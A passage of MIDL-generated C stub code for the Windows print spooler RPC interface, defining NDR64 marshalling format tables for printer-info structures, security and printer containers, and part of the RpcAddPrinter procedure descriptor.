  0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pSecurityContainer */      /* parameter pSecurityContainer */\n        &__midl_frag156,\n        { \n        /* pSecurityContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Command */      /* parameter Command */\n        &__midl_frag1082,\n        { \n        /* Command */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag160_t __midl_frag160 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag157\n    }\n};\n\nstatic const __midl_frag157_t __midl_frag157 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag598\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag656\n    }\n};\n\nstatic const __midl_frag156_t __midl_frag156 =\n{ \n/* SECURITY_CONTAINER */\n    { \n    /* SECURITY_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SECURITY_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag160,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag153_t __midl_frag153 =\n{ \n/* PRINTER_INFO_9 */\n    { \n    /* PRINTER_INFO_9 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_9 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag152_t __midl_frag152 =\n{ \n/* *PRINTER_INFO_9 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag153\n};\n\nstatic const __midl_frag148_t __midl_frag148 =\n{ \n/* PRINTER_INFO_7 */\n    { \n    /* PRINTER_INFO_7 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_7 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag147_t __midl_frag147 =\n{ \n/* *PRINTER_INFO_7 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag148\n};\n\nstatic const __midl_frag146_t __midl_frag146 =\n{ \n/* PRINTER_INFO_6 */\n    { \n    /* PRINTER_INFO_6 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* PRINTER_INFO_6 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    }\n};\n\nstatic const __midl_frag145_t __midl_frag145 =\n{ \n/* *PRINTER_INFO_6 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag146\n};\n\nstatic const __midl_frag142_t __midl_frag142 =\n{ \n/* PRINTER_INFO_5 */\n    { \n    /* PRINTER_INFO_5 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_5 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag141_t __midl_frag141 =\n{ \n/* *PRINTER_INFO_5 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag142\n};\n\nstatic const __midl_frag138_t __midl_frag138 =\n{ \n/* PRINTER_INFO_4 */\n    { \n    /* PRINTER_INFO_4 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_4 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag137_t __midl_frag137 =\n{ \n/* *PRINTER_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag138\n};\n\nstatic const __midl_frag123_t __midl_frag123 =\n{ \n/* PRINTER_INFO_2 */\n    { \n    /* PRINTER_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 136 /* 0x88 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 32 /* 0x20 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 40 /* 0x28 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 48 /* 0x30 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 64 /* 0x40 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 72 /* 0x48 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 80 /* 0x50 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 88 /* 0x58 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag122_t __midl_frag122 =\n{ \n/* *PRINTER_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag123\n};\n\nstatic const __midl_frag121_t __midl_frag121 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    }\n};\n\nstatic const __midl_frag117_t __midl_frag117 =\n{ \n/* PRINTER_INFO_1 */\n    { \n    /* PRINTER_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        &__midl_frag121,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag116_t __midl_frag116 =\n{ \n/* *PRINTER_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag117\n};\n\nstatic const __midl_frag113_t __midl_frag113 =\n{ \n/* PRINTER_INFO_STRESS */\n    { \n    /* PRINTER_INFO_STRESS */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_STRESS */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 136 /* 0x88 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag112_t __midl_frag112 =\n{ \n/* *PRINTER_INFO_STRESS */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag110_t __midl_frag110 =\n{ \n/* __MIDL_winspool_0009 */\n    { \n    /* __MIDL_winspool_0009 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 10 /* 0xa */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag112,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag116,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag122,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag152,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag137,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag141,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag145,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 7 /* 0x7 */,\n        &__midl_frag147,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 8 /* 0x8 */,\n        &__midl_frag152,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 9 /* 0x9 */,\n        &__midl_frag152,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag109_t __midl_frag109 =\n{ \n/* PRINTER_CONTAINER */\n    { \n    /* PRINTER_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag110\n        },\n        { \n        /* PRINTER_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag105_t __midl_frag105 =\n{ \n/* RpcAddPrinter */\n    { \n    /* RpcAddPrinter */      /* procedure RpcAddPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* 